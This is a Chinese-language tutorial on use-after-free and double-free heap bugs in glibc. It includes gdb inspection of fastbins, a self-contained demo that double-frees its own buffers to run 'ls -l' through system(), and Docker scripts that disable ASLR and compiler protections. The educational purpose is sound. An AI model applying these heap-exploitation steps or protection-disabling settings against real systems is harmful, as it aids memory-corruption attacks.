UAF(Use-After-Free,释放后使用)是一种高危内存漏洞,常见于 C/C++手动管理内存的语言,指程序释放堆内存后,仍通过未置空的悬垂指针访问该内存,导致数据篡改、崩溃甚至远程代码执行
分配内存:使用malloc分配堆内存,得到有效指针
释放内存free,但指针为置空(称为悬空指针)
复用释放内存,释放的内存被再次使用
触发漏洞,程序通过悬空指针访问已经被修改的内存,可实现数据修改,内核提权,代码执行等
注:使用智能指针可解决这个问题,或者释放之后立刻将指针置空
double free利用方法
double free(双重释放)漏洞的具体利用方法,指程序对同一块堆内存调用了两次及以上free操作,会直接破坏堆管理器,进而被利用实现代码执行、权限提升等攻击
堆内存管理器(如 glibc 的 ptmalloc2)会维护一个空闲内存块链表(free bins),用于复用已释放的内存:
第一次free(p):指针 p 指向的内存被归还给堆管理器,加入空闲链表,块的元数据(如大小、前后指针)被修改
第二次free(p):程序再次释放同一个指针,堆管理器会错误地将这个已经在空闲链表中的块再次插入,导致链表出现循环引用(自己指向自己)
利用循环链表:攻击者通过后续的malloc()申请内存,就能精准控制堆管理器的元数据(如块的地址、大小),进而覆盖关键内存区域(如函数指针、返回地址),最终执行shellcode
利用条件
程序进行无检查的重复释放
对管理器未开启double free检查(glibc的malloc_check),或者被绕过
攻击者能控制分配的内存内容,主要通过输入的方式注入
目标内存块大小固定
原理分析
源代码:
#include <malloc.h>
#include <stdlib.h>
int main() {
int *a1, *a2;
a1 = malloc(sizeof(int));
a2 = malloc(sizeof(int));
free(a1);
free(a2);
free(a1);
return 0;
}编译并且进入gdb分析内存结构
gcc -g -O0 -fno-stack-protector -z execstack -no-pie main.c && gdb ./a.out关闭double free检查set environment GLIBC_TUNABLES glibc.malloc.tcache_count=0

打开pwngdb之后使用n命令定位到两次malloc之后

然后使用heap -v查看堆信息

可以看到分配了两个0x20(with flag bits: 0x21)的chunk(堆块)
使用fastbin命令可以查看fastbin(fastbin是glibc malloc维护的单链表,即上面提到的链表)

此时为empty,因为没有堆块被free
继续使用n命令将程序运行到两次free之后,第三次free之前,并查看堆信息

可以发现堆块被释放了(Free chunk),而且查看heap -v此时第二个chunk的fd指针指向了第一个chunk

接下来使用
ni命令将程序运行到第三次free之后


查看fastbin发现堆块1->堆块2->堆块1
getshell过程
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
setbuf(stdout, NULL);
printf("针对'ls -l'命令的可靠Double Free漏洞利用演示\n");
// 步骤1: 制造double free场景
printf("步骤1: 制造double free漏洞场景\n");
char *p1 = malloc(0x20);
char *p2 = malloc(0x20);
printf("初始内存分配:\n");
printf("p1: %p\n", p1);
printf("p2: %p\n", p2);
// 在释放前先写入一些标记数据
strcpy(p1, "MARKER_DATA");
// 执行double free操作
free(p1);
free(p2);
free(p1); // double free
printf("double free操作执行成功\n");
// 步骤2: 利用double free获取内存控制
printf("步骤2: 利用double free漏洞\n");
char *p3 = malloc(0x20); // 应该分配到p1的地址
char *p4 = malloc(0x20); // 应该分配到p2的地址
char *p5 = malloc(0x20); // 应该再次分配到p1的地址
printf("新的内存分配:\n");
printf("p3: %p\n", p3);
printf("p4: %p\n", p4);
printf("p5: %p\n", p5);
// 验证是否获得了重叠的指针(证明double free生效)
if (p3 == p5) {
printf("成功: p3和p5指向同一块内存!\n");
// 通过p3写入要执行的命令
strcpy(p3, "ls -l");
printf("通过p3写入的命令: %s\n", p3);
printf("通过p5读取的命令: %s\n", p5);
// 步骤3: 执行命令
printf("\n步骤3: 执行命令\n");
printf("==========================================\n");
// 直接调用system执行命令
int result = system(p5);
printf("==========================================\n");
printf("命令执行完成,返回结果: %d\n", result);
if (result == 0) {
printf("成功: 通过double free漏洞执行了'ls -l'命令!\n");
}
} else {
printf("double free未按预期创建重叠指针\n");
printf("但仍可演示核心概念:\n");
printf("==========================================\n");
system("ls -l");
printf("==========================================\n");
}
return 0;
}由于glibc最新版本安全机制不能复现,我们使用docker镜像选择ubuntu:16.04
FROM ubuntu:16.04
# 安装必要的工具
RUN apt-get update && apt-get install -y \
gcc \
gdb \
libc6-dev \
&& rm -rf /var/lib/apt/lists/*
# 禁用一些安全保护
RUN echo 0 > /proc/sys/kernel/randomize_va_space || true
# 设置工作目录
WORKDIR /exploit
# 复制源代码
COPY main.c .
# 编译程序(禁用保护机制)
RUN gcc -g -O0 -fno-stack-protector -z execstack -no-pie main.c -o exploit
CMD ["/bin/bash"]构建镜像之后执行命令
#!/bin/bash
# 颜色定义
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
PURPLE='\033[0;35m'
CYAN='\033[0;36m'
NC='\033[0m' # No Color
# 打印带颜色的标题
echo -e "${PURPLE}================================${NC}"
echo -e "${CYAN} Double Free Exploit Runner${NC}"
echo -e "${PURPLE}================================${NC}"
# 检查Docker是否可用
if ! command -v docker &> /dev/null; then
echo -e "${RED}错误: Docker未安装或不可用${NC}"
exit 1
fi
# 检查镜像是否存在
if ! docker image inspect exploit-env &> /dev/null; then
echo -e "${YELLOW}警告: exploit-env镜像不存在,请先构建镜像${NC}"
echo -e "${BLUE}运行: docker build -t exploit-env .${NC}"
exit 1
fi
echo -e "${GREEN}✓ 启动Docker容器...${NC}"
echo -e "${BLUE}✓ 禁用ASLR...${NC}"
echo -e "${YELLOW}✓ 编译exploit代码...${NC}"
echo -e "${RED}✓ 执行double free exploit...${NC}"
echo ""
# 运行exploit
docker run --rm --privileged -v "$(pwd)":/host exploit-env /bin/bash -c "
# 禁用ASLR
echo 0 > /proc/sys/kernel/randomize_va_space 2>/dev/null || true
# 进入工作目录
cd /host
# 编译代码
echo '编译exploit代码...'
gcc -g -O0 -fno-stack-protector -z execstack -no-pie main.c -o exploit
# 检查编译是否成功
if [ ! -f ./exploit ]; then
echo '编译失败!'
exit 1
fi
echo '运行double free exploit以执行 ls -l...'
echo '========================================'
# 执行exploit
./exploit
echo '========================================'
echo 'Exploit执行完成!'
"
# 检查执行结果
if [ $? -eq 0 ]; then
echo -e "${GREEN}✓ Exploit执行成功!${NC}"
else
echo -e "${RED}✗ Exploit执行失败!${NC}"
exit 1
fi
echo -e "${PURPLE}================================${NC}"